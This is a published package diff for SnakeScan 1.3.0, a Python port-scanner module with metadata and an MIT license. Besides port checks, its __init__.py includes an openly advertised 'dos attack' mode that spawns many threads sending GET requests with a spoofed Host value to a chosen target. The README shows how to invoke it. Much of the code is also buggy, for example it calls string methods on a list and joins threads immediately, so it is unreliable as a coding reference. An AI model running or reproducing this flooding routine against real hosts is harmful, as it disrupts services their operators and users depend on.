SnakeScan 1.3.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
SnakeScan/__init__.py ADDED
@@ -0,0 +1,278 @@
1
+ """Module SnakeScan"""
2
+ __version__="1.3.0"
3
+ import socket
4
+ from art import tprint
5
+ from datetime import datetime
6
+ from tqdm import tqdm
7
+ from termcolor import colored
8
+ from threading import Thread
9
+ portsopen=0
10
+ portsclosed=0
11
+ Run_now=True
12
+ Bool=True
13
+ boolsd=True
14
+ global num
15
+ num=0
16
+ boolean=0
17
+ OpenPorts=[]
18
+ ports = {
19
+ 20: "FTP-DATA", 21: "FTP", 22: "SSH", 23: "Telnet",
20
+ 25: "SMTP", 43: "WHOIS", 53: "DNS", 80: "http",
21
+ 115: "SFTP", 123: "NTP", 143: "IMAP", 161: "SNMP",
22
+ 179: "BGP", 443: "HTTPS", 445: "MICROSOFT-DS",
23
+ 514: "SYSLOG", 515: "PRINTER", 993: "IMAPS",
24
+ 995: "POP3S", 1080: "SOCKS", 1194: "OpenVPN",
25
+ 1433: "SQL Server", 1723: "PPTP", 3128: "HTTP",
26
+ 3268: "LDAP", 3306: "MySQL", 3389: "RDP",
27
+ 5432: "PostgreSQL", 5900: "VNC", 8080: "Tomcat", 10000: "Webmin" }
28
+ def is_port_open(host,port):
29
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
30
+ try:
31
+ #Connecting...
32
+ s.connect((host,port))
33
+ #Port//(Closed<--or-->Open)
34
+ except:
35
+ s.close()
36
+ return False
37
+ else:
38
+ s.close()
39
+ return True
40
+ def dos_threads(host,port,fake_ip):
41
+ host=host.strip("--d")
42
+ host=host.strip()
43
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
44
+ try:
45
+ s.connect((host,port))
46
+ s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
47
+ s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
48
+ s.close()
49
+ return True
50
+ except:
51
+ s.close()
52
+ return False
53
+ def is_port_open_threads(host,port):
54
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
55
+ try:
56
+ #Connecting...
57
+ s.connect((host,port))
58
+ #Port//(Closed<--or-->Open)
59
+ except:
60
+ s.close()
61
+ try:
62
+ print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
63
+ except:
64
+ print(f"Closed{colored('|X|','red')}-->|{all}|")
65
+ finally:
66
+ s.close()
67
+ else:
68
+ print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
69
+ print("–"*60)
70
+ tprint("SnakeScan")
71
+ print("–"*60)
72
+ print(f"{__version__}".rjust(60))
73
+ print(f"Skip{colored('|*|','blue')}Error: {colored('Host','green')}{colored('[X]:Error','red')} {colored('|$|','green')} {colored('Port','green')}{colored('[X]:Error','red')}")
74
+ print("Host:[host --i,host --d] Port:[--s port,--a,--t]")
75
+ while Run_now:
76
+ host=input(f"{colored('[$]','green')}Host-->")
77
+ if "--i" in host:
78
+ host=host.strip("--i").strip()
79
+ print("".center(60,"-"))
80
+ try:
81
+ hostname=socket.gethostbyaddr(host)
82
+ print(f"Host:{hostname[0]}")
83
+ except:
84
+ hostname="None"
85
+ print(f"Host:{hostname}")
86
+ try:
87
+ print(f"IP:{socket.gethostbyname(host)}")
88
+ except Exception as e:
89
+ print(f"IP:{e}")
90
+ continue
91
+ finally:
92
+ print("".center(60,"-"))
93
+ continue
94
+ if "http://" in host and "--d" in host:
95
+ host=host.strip().strip("--d")
96
+ host=host.split("http:")
97
+ host=host.strip("//")
98
+ host=host+""+"--d"
99
+ for i in range(len(host)):
100
+ if host[i] == "/":
101
+ host=host[0:i]
102
+ if "https://" in host and "--d" in host:
103
+ host=host.strip().strip("--d")
104
+ host=host.strip("https:")
105
+ host=host.strip("//")
106
+ host=host+""+"--d"
107
+ for i in range(len(host)):
108
+ if host[i] == "/":
109
+ host=host[0:i]
110
+ if "http://" in host:
111
+ host=host.strip()
112
+ host=host.split("http:")
113
+ host=host.strip("//")
114
+ for i in range(len(host)):
115
+ if host[i] == "/":
116
+ host=host[0:i]
117
+ if "https://" in host:
118
+ host=host.strip()
119
+ host=host.strip("https:")
120
+ host=host.strip("//")
121
+ for i in range(len(host)):
122
+ if host[i] == "/":
123
+ host=host[0:i]
124
+ if "--d" in host:
125
+ try:
126
+ host=host.strip("--d")
127
+ host=host.strip()
128
+ host=socket.gethostbyname(host)
129
+ host=host+""+"--d"
130
+ except:
131
+ print(f"{host} is not avaible")
132
+ continue
133
+ if "--d" in host:
134
+ try:
135
+ threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
136
+ dos_port=int(input(f"{colored('[$]','green')}Port-->"))
137
+ fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
138
+ except:
139
+ while True:
140
+ print(f"{colored('|Threads|Port|','green')}{colored('[X]:Invalid value','red')}")
141
+
142
+ try:
143
+ threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
144
+ dos_port=int(input(f"{colored('[$]','green')}Port-->"))
145
+ fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
146
+
147
+ except Exception as error:
148
+ print(f"Error:{error}")
149
+ continue
150
+ if threadsnum:
151
+ break
152
+ for dos in range(0,threadsnum):
153
+ num+=1
154
+ t=Thread(target=dos_threads,kwargs={"host":host,"port":dos_port,"fake_ip":fake_ip})
155
+ t.start()
156
+ t.join()
157
+ if dos_threads(host,dos_port,fake_ip):
158
+ print("Dos-Information".center(60,"-"))
159
+ print(f"{colored('[$]','green')}Threads--> {num} GET/HTTP/1.1")
160
+
161
+ else:
162
+ try:
163
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
164
+ host=host.strip("--d")
165
+ host=socket.gethostbyname(host)
166
+ s.connect((host,dos_port))
167
+ except Exception as error:
168
+ print(f"Error:{error}")
169
+ continue
170
+ if host == "Exit" or host == "exit":
171
+ break
172
+ if host == "":
173
+ while True:
174
+ print(f"{colored('Host','green')}{colored('[X]:Empty value','red')}")
175
+ host=input(f"{colored('[$]','green')}Host-->")
176
+ if host:
177
+ break
178
+ if host == "localhost":
179
+ host=socket.gethostbyname(socket.gethostname())
180
+ port_user=input(f"{colored('[$]','green')}Port-->")
181
+ if port_user == "":
182
+ while True:
183
+ print(f"{colored('Port','green')}{colored('[X]:Empty value','red')}")
184
+ port_user=input(f"{colored('[$]','green')}Port-->")
185
+ if port_user:
186
+ break
187
+ port_single=port_user
188
+ if port_user == "Exit" or port_user == "Exit":
189
+ break
190
+ if port_user:
191
+ try:
192
+ length=int(port_user)
193
+ except:
194
+ if "--t" in str(port_user):
195
+ print(f"Thread".center(60,"-"))
196
+ for all in ports.keys():
197
+ t=Thread(target=is_port_open_threads,kwargs={"host":host,"port":all})
198
+ t.start()
199
+ t.join()
200
+ if "--a" in str(port_user):
201
+ print(f"Check All Ports".center(60,"-"))
202
+ for all in ports.keys():
203
+ if is_port_open(host,all):
204
+ print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
205
+ else:
206
+ try:
207
+ print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
208
+ except:
209
+ print(f"Closed{colored('|X|','red')}-->|{all}|")
210
+ continue
211
+ if "--s" in str(port_user):
212
+ port_user=port_single.strip().strip("--s")[1:len(port_user)]
213
+ for i in range(len(port_user)):
214
+ if port_user[i] == " ":
215
+ port_user=port_user[0:i]
216
+ break
217
+ try:
218
+ port_user=int(port_user)
219
+ except:
220
+ port_user="None"
221
+ for singel in range(1):
222
+ if is_port_open(host,port_user):
223
+ print(f"Open{colored('|√|','green')}-->{ports[port_user]}|{port_user}|")
224
+ else:
225
+ try:
226
+ print(f"Closed{colored('|X|','red')}-->{ports[port_user]}|{port_user}|")
227
+ except:
228
+ print(f"Closed{colored('|X|','red')}-->|{port_user}|")
229
+
230
+ continue
231
+
232
+ else:
233
+ if "--t" in port_user:
234
+ t.join()
235
+ continue
236
+ port_user="100"
237
+ print(f"{colored('[!]','red')}Port:invalid value")
238
+ for i in range(0,len(port_user)):
239
+ if port_user[i] == " ":
240
+ port_user=100
241
+ break
242
+ port_user=int(port_user)
243
+ length=port_user
244
+ else:
245
+ print(f"{colored('|*|','blue')}100")
246
+ port_user=100
247
+ length=port_user
248
+ print(f"{colored('|!|','red')}Listening {host} please wait...")
249
+ #|-----------------Starting---------------------|
250
+ length=int(length)+1
251
+ for port in tqdm(range(1,length)):
252
+ if is_port_open(host,port):
253
+ for name in ports:
254
+ if port == name:
255
+ OpenPorts=[port]
256
+ portsopen+=1
257
+ else:
258
+ portsclosed+=1
259
+ if port_user != "":
260
+ if int(port_user) == port:
261
+ if port_user == "":
262
+ pass
263
+ elif int(port_user) == port:
264
+ if is_port_open(host,port):
265
+ Bool=True
266
+ boolean+=1
267
+ else:
268
+ Bool=False
269
+ if boolean == 1:
270
+ pass
271
+ for i in OpenPorts:
272
+ print(f"Open{colored('|√|','green')}-->{ports[i]}|{i}|")
273
+ print(f"{host}".center(60,"-"))
274
+ print(f"Closed{colored('|X|','red')}:{portsclosed}")
275
+ portsclosed=0
276
+ print(f"Open{colored('|√|','green')}:{portsopen}")
277
+ portsopen=0
278
+ print("-"*60)
@@ -0,0 +1,37 @@
1
+ Metadata-Version: 2.4
2
+ Name: SnakeScan
3
+ Version: 1.3.0
4
+ Summary: Module SnakeScan
5
+ Author: Den*Ram
6
+ Requires-Python: >=3.9
7
+ Description-Content-Type: text/markdown
8
+ License-Expression: MIT
9
+ License-File: LICENSE
10
+ Requires-Dist: art
11
+ Requires-Dist: tqdm
12
+ Requires-Dist: termcolor
13
+ Project-URL: Homepage, https://github.com/Den-Ram/SnakeScan
14
+ Project-URL: Repository, https://github.com/Den-Ram/SnakeScan
15
+
16
+ Scanner to scan port
17
+
18
+ import SnakeScan
19
+
20
+ and use module to scan port
21
+
22
+ requires=>tqdm,termcolor,art
23
+
24
+ added new single search:
25
+
26
+ [$]Port--> --s 50
27
+
28
+ requires-python=>3.9
29
+
30
+ added new check all port search:
31
+ [$]Port--> --a
32
+ added new check all port using thread:
33
+ [$]Port--> --t
34
+ added new dos attack:
35
+ [$]Host-->https://example.com --d
36
+
37
+
@@ -0,0 +1,5 @@
1
+ SnakeScan/__init__.py,sha256=SGZiFBmT-ZWQViaYAtIa77fIWOxtEvlaLw1uO4ThI90,9563
2
+ snakescan-1.3.0.dist-info/licenses/LICENSE,sha256=lzNz9Vh-custynZ54aJvkYgfx_USbIOHAVskg7zI7YQ,1074
3
+ snakescan-1.3.0.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82
4
+ snakescan-1.3.0.dist-info/METADATA,sha256=jgDm45VgvGQqoQ3UL7fs5It_fv21TX_2YVxIwDP8MIk,734
5
+ snakescan-1.3.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: flit 3.12.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2025 Den*Ram
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in
13
+ all copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.